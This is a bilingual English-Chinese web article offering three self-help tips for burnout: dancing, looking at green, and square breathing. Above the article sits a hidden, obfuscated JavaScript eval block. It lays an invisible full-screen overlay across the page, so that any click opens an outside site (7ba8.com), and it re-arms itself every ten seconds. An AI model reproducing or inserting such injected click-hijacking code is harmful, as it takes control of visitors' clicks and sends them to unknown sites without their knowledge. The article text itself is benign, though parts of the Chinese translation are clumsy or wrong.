<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Feeling a little burnt out? Run down? Overwhelmed? It's time to put yourself first! Any one of these things works like magic to bring you back home to yourself.
感觉有点累过了？跑不下来吗？不堪重负？是时间把自己放到首位了！做下面三件事中的任何一个都会像魔术般让你找回你自己。
Dance
There was an unhappy marriage. The woman, in her mid-60s, was feeling sad and low. One afternoon her grandson, just 4 and unaware of her problems, had an uncontrollable urge to dance, which for him meant flapping his arms and churning his legs in such a way as to appear as if he were hopping madly around on a bed of hot coals. "Dance with me, Grandma!" he said, hopping closer to her. She danced. And remembered delight.
跳舞
曾经有一个不幸的婚姻。这个女人，60多岁，她感到悲伤和低落。一天下午，她的孙子，才4岁并不知道她的困惑，他按捺不住内心激动想跳舞去，这对他意味着拍打着两支胳膊并搅动着双腿，就像在热炭上疯狂的跳跃。 “与我共舞，奶奶！”他说，跳跃接近她。她跳起舞来。于是记忆了喜悦。
Fill Your Eyes with Green
It's the color many jewelers use as a backdrop when they're working on a delicate piece; green is said to be the easiest color for the eye to see. It's also thought to balance emotions and bring on a feeling of calm. Have you ever been mesmerized by the dense green of a palm as it swayed in a tropical breeze?
让你的眼睛充满绿色
许多珠宝商总是使用绿色去做精美首饰的背景装饰，绿色据说是人眼能看到最简单的颜色。人们认为它能平衡情绪，并带来一种平静的感觉。你曾经被那在一个热带的微风中摇摆的茂密绿色棕榈树迷住过吗？
Breathe
She used to get panic attacks. Then she learned how to "square breathe." Picture a square; choose a corner. Count to four as you slowly inhale. Count to four as you exhale. Reach the next corner on the inhale, leave it on the exhale. Four corners. Four deep breaths. Her heartbeat, which would suddenly gallop away, slowed to a comfortable trot. (Deep, slow breaths increase the amount of carbon dioxide in the body, which reduces the panic response.)
呼吸
她以前经常会恐慌。然后，她学会了如何“广场呼吸”。想象一个广场；选择一个角落。你慢慢吸气时数到四。当你呼气时再数到四。达到下一角落再吸气，然后呼气离开。四个角落。 四个深呼吸。她的心跳会放缓像舒适的小跑了一般。 （深而慢的呼吸能增加体内的二氧化碳量，从而降低了恐慌反应。） |
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